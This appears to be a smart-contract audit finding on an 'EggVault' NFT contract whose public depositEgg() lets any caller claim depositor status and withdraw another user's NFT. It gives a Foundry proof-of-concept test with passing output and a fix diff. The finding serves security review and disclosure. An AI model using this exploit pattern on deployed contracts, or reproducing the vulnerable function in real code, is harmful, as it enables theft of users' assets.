Summary
The EggVault relies on a mapping eggDepositors[tokenId] to authorize NFT withdrawals. This mapping is set via the vulnerable depositEgg() function, and can be manipulated by attackers to enable unauthorized withdrawals.
Vulnerability Details
By spoofing the depositor registration via depositEgg(), an attacker can later call withdrawEgg() and pass the eggDepositors[tokenId] == msg.sender check. This bypasses actual ownership and results in unauthorized withdrawals.
Impact
Attackers can withdraw NFTs they never owned.
True owners are locked out.
Funds can be permanently stolen.
POC
function testUnauthorizedWithdrawalsExploit() public {
vm.prank(address(game));
bool success = nft.mintEgg(alice, 1);
assertTrue(success);
assertEq(nft.ownerOf(1), alice);
assertEq(nft.totalSupply(), 1);
vm.prank(alice);
nft.approve(address(vault), 1);
vm.prank(alice);
nft.transferFrom(address(alice), address(vault), 1);
vm.prank(bob);
vault.depositEgg(1, bob);
assertTrue(vault.isEggDeposited(1));
assertEq(vault.eggDepositors(1), bob);
vm.prank(alice);
vm.expectRevert("Egg already deposited");
vault.depositEgg(1, alice);
vm.prank(alice);
vm.expectRevert("Not the original depositor");
vault.withdrawEgg(1);
vm.prank(bob);
vault.withdrawEgg(1);
assertEq(nft.ownerOf(1), bob);
assertFalse(vault.isEggDeposited(1));
assertEq(vault.eggDepositors(1), address(0));
}
Ran 1 test for test/EggHuntGameTest.t.sol:EggGameTest
[PASS] testUnauthorizedWithdrawalsExploit() (gas: 203180)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.38ms (1.64ms CPU time)
Tools Used
Recommendations
Make eggDepositors[tokenId] = from only within onERC721Received().
Prevent external manipulation of depositor state.
Remove all public deposit functions.
- function depositEgg(uint256 tokenId, address depositor) public {
- require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
- require(!storedEggs[tokenId], "Egg already deposited");
- storedEggs[tokenId] = true;
- eggDepositors[tokenId] = depositor;
- emit EggDeposited(depositor, tokenId);
- }
+ function onERC721Received(
+ address operator,
+ address from,
+ uint256 tokenId,
+ bytes calldata data
+ ) external override returns (bytes4) {
+ require(msg.sender == address(eggNFT), "Not from expected NFT");
+ require(!storedEggs[tokenId], "Egg already deposited");
+
+ storedEggs[tokenId] = true;
+ eggDepositors[tokenId] = from;
+
+ emit EggDeposited(from, tokenId);
+
+ return this.onERC721Received.selector;
+ }